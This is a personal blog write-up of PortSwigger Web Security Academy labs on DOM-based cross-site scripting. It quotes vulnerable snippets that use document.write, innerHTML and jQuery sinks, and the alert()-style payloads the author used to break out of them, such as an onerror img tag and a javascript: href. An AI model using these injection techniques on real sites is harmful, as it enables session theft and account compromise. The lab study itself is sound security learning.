UP | HOME

WSA: Apprentice DOM Based XSS

Table of Contents

Introduction

If you have played around CTFs it is highly likely1 that you have encountered one of the common forms of cross-site scripting (XSS):

  • Reflected
  • Stored

And for good reason, since they are (in these scenarios) easy to spot and can usually be bundled with other techniques for more damage.

One other technique, the overlooked one as stated here, is DOM Based XSS, which occurs without any extra client-server interaction. In fact, DOM Based XSS takes advantage of the code that is included in the web page, and relies on user input to produce a certain outcome. The code does not (need to?) contact the web server, but manipulates the page’s contents based on a query.

In the first example, taken from Web Security Academy by PortSwigger, that query is a search field, but it could be a parameter, or … a hashchange as shown in the last lab. Feel free to make any corrections/suggestions in the comment section.

In document.write   lab

function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    trackSearch(query);
}
" onload="alert()
<img src="/resources/images/tracker.gif?searchTerms=" onload="alert()">

In inner.html   lab

After navigating the site just a little bit we see that in the search page there is this embedded script snippet:

function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}

We see that it takes the parameter search, and adds its contents (should they exist) in the innerHTML (namely contents) of an element with id searchMessage. Seeing the response more carefully:

<h1><span>0 search results for
'</span><span id="searchMessage"></span><span>'</span></h1>

Testing this payload should be more than enough

<script>alert()</script>

While it gets inserted into the page it does not get executed – another payload should be used. And truly, this second one resulted in a solved lab.

<img src="fail" onerror="alert(1)">

In jQuery anchor href   lab

$(function() {
    $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});

This occupies an <a> element’s href, found by an id="backLink". The thing is that the function being used attr() seems to do a better sanitization than what we have already seen, escaping “, and ‘, not allowing with a plain payload to work

#does not work
testaki'> <script>alert()</script>  
#produced result
<a id="backLink" href="/testaki'> <script>alert()</script>">Back</a> 

Just a little bit of searching (honestly, it was the first stackoverflow post for me), reminded me of a type of link I had forgotten: javascript:

javascript:alert(1);
#produced result
<a id="backLink" href="javascript:alert(1);">Back</a> 

This, when clicking the button causes the alert() popup window and successfully marks the lab as solved.

In jQuery selector sink using a hashchange event   lab

First time on a room with a Go to exploit server button.

In the website’s home page there is this interesting js snippet:

$(window).on('hashchange', function(){
    var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
    if (post) post.get(0).scrollIntoView();
});

Not knowing JavaScript, but barely understanding through transferring whatever I could from other languages, this snippet had some work for me:

  • What is a hashchange event:
    • If you have ever seen anchors in urls (the snippets starting with # - feel free to click on a section title in this post and check the url) you know the entry point
    • A hashchange event occurs when that parameter changes
  • What is $() in general? It is a selector (source)
    • Searching in StackOverflow, we see that we can add a , to use multiple selectors (even though I am not sure how this could help for the time being, since it will only get fed into a scrollIntoView())
  • What exactly does slice(1) do? It returns the string from index 1 to the end, effectively removing #.

Getting back to the lab: using links of the following form allows to find the post with that word, and move the screen to that.

https://0aa700fb03d82670856aa9f50084000f.web-security-academy.net/#Reverse
https://0aa700fb03d82670856aa9f50084000f.web-security-academy.net/#Watching
https://0aa700fb03d82670856aa9f50084000f.web-security-academy.net/#Speak

Now that we know what it does, how can we escape from it? My naive payload does not work, since decodeURIComponent obviously returns a string and does not just make a substitution.

# what I inserted
/#')');alert(1); //
# what I hoped for
var post = $('section.blog-list h2:contains(' + ')'); alert(1)// + ')');

Searching for hashchange XSS seems to only include results related to this lab … :(

Maybe take advantage of the available web server, so that it calls that one instead?

After tinkering for some time, I viewed the solution. It seems silly to me, because I can not understand how this would not work on any website. I mean, as far as I can see it does not take advantage of hashchange at all, just inserts faulty code at the end of the web page.

Summary

I think I’m missing something so, that’s enough labs for today, time for some research and theory.

Footnotes:

1

όπως γνωστός κοσμήτορας ανέφερε τις προηγούμενες ημέρες…

Originally created on 2024-02-16 Fri 11:27